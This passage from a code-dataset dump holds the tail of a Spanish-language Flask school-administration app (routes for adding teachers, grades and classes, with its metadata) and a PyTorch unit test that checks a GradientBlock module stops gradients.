Maestro.query.filter_by(NombreUsuario=nombreUsuario).first() == None:\n            contra  =  request.form.get(\"contrasena\")\n            nombre  =  request.form.get(\"nombre\")\n            correoE =  request.form.get(\"correoElectronico\")\n            admin   =  request.form.get(\"admin\")\n            maestro = Maestro()\n            maestro.NombreUsuario     = nombreUsuario\n            maestro.Contrasena        = hash.hash_passwd(contra)\n            maestro.Nombre            = nombre\n            maestro.CorreoElectronico = correoE\n            maestro.Admin             = (admin==\"on\")\n            db.session.add(maestro)\n            db.session.commit()\n        else:\n            flash(f\"El nombre de ususario '{nombreUsuario}' ya esta ocupado\")\n\n        return redirect(\"/gestionDeUsuarios\")\n    else:\n        return render_template(\"anadirM.html\", type=session[\"type\"])\n\n@app.route(\"/gestionDeUsuarios/anadirG\", methods=[\"GET\", \"POST\"])\ndef gestionUsuariosAnadirG():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n\n    if request.method == \"POST\":\n        nombre = request.form.get('grado')\n        grado = Grado(Grado=nombre)\n        check = Grado.query.filter_by(Grado=nombre).first()\n        if check is None:\n            db.session.add(grado)\n            db.session.commit()\n        else:\n            flash(f'Intento ingresar un dato que ya existe. \"{check.Grado}\" tiene el Id:\"{check.Id}\"')\n        return redirect(\"/gestionDeUsuarios\")\n    else:\n        return render_template(\"anadirG.html\", type=session[\"type\"])\n\n@app.route(\"/gestionDeUsuarios/anadirC\", methods=[\"GET\", \"POST\"])\ndef gestionUsuariosAnadirC():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n\n    if request.method == \"POST\":\n        nombre = request.form.get(\"Nombre\")\n        idGrado = request.form.get(\"IdGrado\")\n        idMaestro = request.form.get(\"IdMaestro\")\n        if Clases.query.filter_by(Nombre=nombre).first() == None:\n            clase = Clases()\n            clase.Nombre    = nombre \n            clase.IdGrado   = idGrado\n            clase.IdMaestro = idMaestro\n            db.session.add(clase)\n            db.session.commit()\n\n        else:\n            flash(f\"La clase con el nombre {nombre} ya existe\")\n        return redirect(\"/gestionDeUsuarios\")\n    else:\n        grados = Grado.query.all()\n        maestros = Maestro.query.all()\n        return render_template(\"anadirC.html\", type=session[\"type\"], grados=grados, maestros=maestros)\n\n@app.errorhandler(404)\ndef sinPagina(e):\n    return render_template(\"404.html\"), 404\n\n@app.errorhandler(500)\ndef laRegaste(e):\n    return render_template(\"500.html\"), 500\n\nif __name__ == \"__main__\":\n    app.run()\n", "repo_name": "Polo123456789/PracticaSupervisada", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 23554, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.send_from_directory", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 99, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 104, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 105, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 109, "usage_type": "call"}, {"api_name": "hash.check_passwd", "line_number": 110, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 111, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 112, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 115, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 123, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 123, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 124, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 125, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 125, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 129, "usage_type": "call"}, {"api_name": "hash.check_passwd", "line_number": 130, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 131, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 133, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 136, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 137, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 139, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 140, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 143, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 148, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 149, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 150, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 151, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 153, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 155, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 161, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 161, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 165, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 166, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 167, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 168, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 172, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 172, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 175, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 176, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 177, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 178, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 179, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 180, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 180, "usage_type": "name"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "flask.flash", "line_number": 186, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 189, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 191, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 194, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 194, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 194, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 197, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 200, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 200, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 211, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 212, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 213, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 214, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 215, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 216, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 227, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 227, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 232, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 233, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 234, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 235, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 236, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 237, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 238, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 239, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 241, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 243, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 244, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 244, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 248, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 249, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 250, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 251, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 252, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 253, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 254, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 255, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 257, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 259, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 259, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 260, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 260, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 260, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 261, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 261, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 261, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 262, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 262, "usage_type": "name"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path", "line_number": 266, "usage_type": "attribute"}, {"api_name": "flask.flash", "line_number": 268, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 271, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 273, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 299, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 301, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 301, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 312, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 313, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 314, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 315, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 316, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 317, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 318, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 319, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 321, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 324, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 343, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 343, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 347, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 348, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 349, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 350, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 351, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 352, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 353, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 353, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 354, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 354, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 354, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 361, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 362, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 366, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 366, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 372, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 373, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 374, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 375, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 376, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 377, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 379, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 379, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 383, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 384, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 385, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 386, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 387, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 388, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 390, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 390, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 393, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 393, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 393, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 394, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 394, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 394, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 395, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 395, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 395, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 396, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 396, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 396, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 397, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 397, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 397, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 398, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 398, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 398, "usage_type": "name"}, {"api_name": "hash.hash_passwd", "line_number": 401, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 407, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 412, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 412, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 415, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 415, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 420, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 421, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 422, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 423, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 424, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 425, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 427, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 427, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 430, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 430, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 430, "usage_type": "name"}, {"api_name": "hash.hash_passwd", "line_number": 432, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 433, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 433, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 433, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 434, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 434, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 434, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 435, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 435, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 435, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 436, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 436, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 436, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 439, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 444, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 444, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 447, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 447, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 451, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 452, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 453, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 454, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 455, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 456, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 457, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 457, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 460, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 460, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 460, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 462, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 466, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 466, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 469, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 469, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 473, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 474, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 475, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 476, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 477, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 478, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 480, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 480, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 481, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 481, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 481, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 483, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 483, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 483, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 484, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 484, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 484, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 485, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 485, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 485, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 486, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 486, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 486, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 487, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 487, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 487, "usage_type": "name"}, {"api_name": "hash.hash_passwd", "line_number": 490, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 497, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 499, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 500, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 504, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 504, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 508, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 509, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 510, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 511, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 512, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 513, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 515, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 515, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 516, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 516, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 516, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 518, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 518, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 518, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 519, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 519, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 519, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 520, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 520, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 520, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 521, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 521, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 521, "usage_type": "name"}, {"api_name": "hash.hash_passwd", "line_number": 524, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 531, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 533, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 535, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 535, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 539, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 540, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 541, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 542, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 543, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 544, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 546, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 546, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 547, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 547, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 547, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 554, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 555, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 557, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 557, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 561, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 562, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 563, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 564, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 565, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 566, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 568, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 568, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 569, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 569, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 569, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 570, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 570, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 570, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 571, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 571, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 571, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 581, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 582, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 586, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 586, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 590, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 594, "usage_type": "call"}]}
{"seq_id": "37409538902", "text": "import unittest\n\nimport torch\nimport torch.nn as nn\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader\nfrom torchvision.datasets import FakeData\nfrom torchvision.transforms import ToTensor\n\nfrom nupic.research.frameworks.greedy_infomax.models.utility_layers import GradientBlock\n\n\nclass TestGradientBlock(unittest.TestCase):\n\n    def test_gradients_blocked(self):\n        \"\"\"\n        Test that gradients are blocked preceding the GradientBlock module.\n        \"\"\"\n        data = FakeData(size=10, image_size=(1, 10, 10), num_classes=10,\n                        transform=ToTensor())\n        dataloader = DataLoader(data, batch_size=10)\n        model = nn.Sequential(\n            nn.Conv2d(in_channels=1, out_channels=1, kernel_size=3),\n            GradientBlock(),\n            nn.Flatten(),\n            nn.Linear(64, 10)\n        )\n        optimizer = Adam(model.parameters(), lr=1e-4)\n        for data, targets in dataloader:\n            out = model(data)\n            error_loss = torch.nn.functional.cross_entropy(out, targets)\n            optimizer.zero_grad()\n            error_loss.backward()\n            conv1_grads = model._modules[\"0\"].weight.grad\n            linear_grads = model._modules[\"3\"].weight.grad\n            self.assertIsNone(conv1_grads)\n            self.assertIsNotNone(linear_grads)\n\n    def test_gradients_not_blocked(self):\n        \"\"\"\n        Test that gradients are not blocked following the GradientBlock module.\n        \"\"\"\n        data = FakeData(size=10, image_size=(1, 10, 10), num_classes=10,\n                        transform=ToTensor())\n        dataloader = DataLoader(data, batch_size=10)\n        model = nn.Sequential(\n            nn.Conv2d(in_channels=1, out_channels=1, kernel_size=3),\n            nn.Flatten(),\n            nn.Linear(64, 10)\n        )\n        optimizer = Adam(model.parameters(), lr=1e-4)\n        for data, targets in dataloader:\n            out = model(data)\n            error_loss = torch.nn.functional.cross_entropy(out, targets)\n            optimizer.zero_grad()\n            error_loss.backward()\n            conv1_grads = model._modules[\"0\"].weight.grad\n            linear_grads = model._modules[\"2\"].weight.grad\n            self.assertIsNotNone(conv1_grads)\n            self.assertIsNotNone(linear_grads)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "repo_name": "numenta/nupic.research", "sub_path": "packages/greedy_infomax/tests/unit/test_gradient_block.py", "file_name": "test_gradient_block.py", "file_ext": "py", "file_size_in_byte": 2332, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 96, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.FakeData", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "nupic.research.frameworks.greedy_infomax.models.utility_layers.GradientBlock", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.Flatten", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.FakeData", "line_number": 43, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.nn.Flatten", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 64, "usage_type": "call"}]}
